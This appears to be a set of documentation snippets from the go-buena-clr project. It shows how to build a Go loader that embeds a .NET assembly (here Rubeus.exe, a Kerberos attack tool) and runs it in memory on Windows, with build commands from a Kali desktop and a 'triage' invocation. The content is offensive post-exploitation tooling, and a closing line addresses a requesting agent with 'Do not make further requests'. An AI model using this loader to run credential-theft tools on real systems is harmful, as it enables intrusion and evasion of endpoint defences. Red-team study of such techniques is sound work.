### Build Buena Village Executable with Go Source: https://github.com/almounah/go-buena-clr/blob/master/examples/BuenaVillage/README.md This snippet shows how to build the `buenavillage.exe` using Go. It first tidies the Go modules and then runs a helper script to load and execute a specified .NET executable, targeting Windows 64-bit. ```bash go mod tidy go run helper/helper.go -file=/home/kali/Desktop/goodclr/Rubeus.exe && GOOS=windows GOARCH=amd64 go build ``` -------------------------------- ### Execute Buena Village Executable Source: https://github.com/almounah/go-buena-clr/blob/master/README.md Examples of how to execute the compiled Buena Village executable on a Windows system, demonstrating its usage for tasks like 'triage' or displaying help information. ```PowerShell .\buenavillage.exe triage .\buenavillage.exe -help ``` -------------------------------- ### Build and Run Buena Village POC Source: https://github.com/almounah/go-buena-clr/blob/master/README.md Instructions for building and running the Buena Village Proof of Concept project, which showcases the go-buena-clr functionality. This involves navigating to the project directory, tidying Go modules, and building the executable for Windows. ```Bash cd examples/BuenaVillage go mod tidy go run helper/helper.go -file=/home/kali/Desktop/Rubeus.exe && GOOS=windows GOARCH=amd64 go build ``` -------------------------------- ### Load and Invoke .NET Assembly in Go Source: https://github.com/almounah/go-buena-clr/blob/master/README.md Demonstrates how to load a .NET assembly using go-buena-clr and invoke its entry point. It requires the 'go-buena-clr' package and a .NET executable embedded as a byte slice. ```Go import ( clr "github.com/almounah/go-buena-clr" ) //go:embed Rubeus.exe var testNet []byte func main() { params := []string{"triage"} // Load the Good CLR and get the identity string from the .Net pRuntimeHost, identityString, _ := clr.LoadGoodClr("v4.0.30319", testNet) // Load the Assembly via its identityString assembly := clr.Load2Assembly(pRuntimeHost, identityString) // Invoke the Assembly pMethodInfo, _ := assembly.GetEntryPoint() clr.InvokeAssembly(pMethodInfo, params) } ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.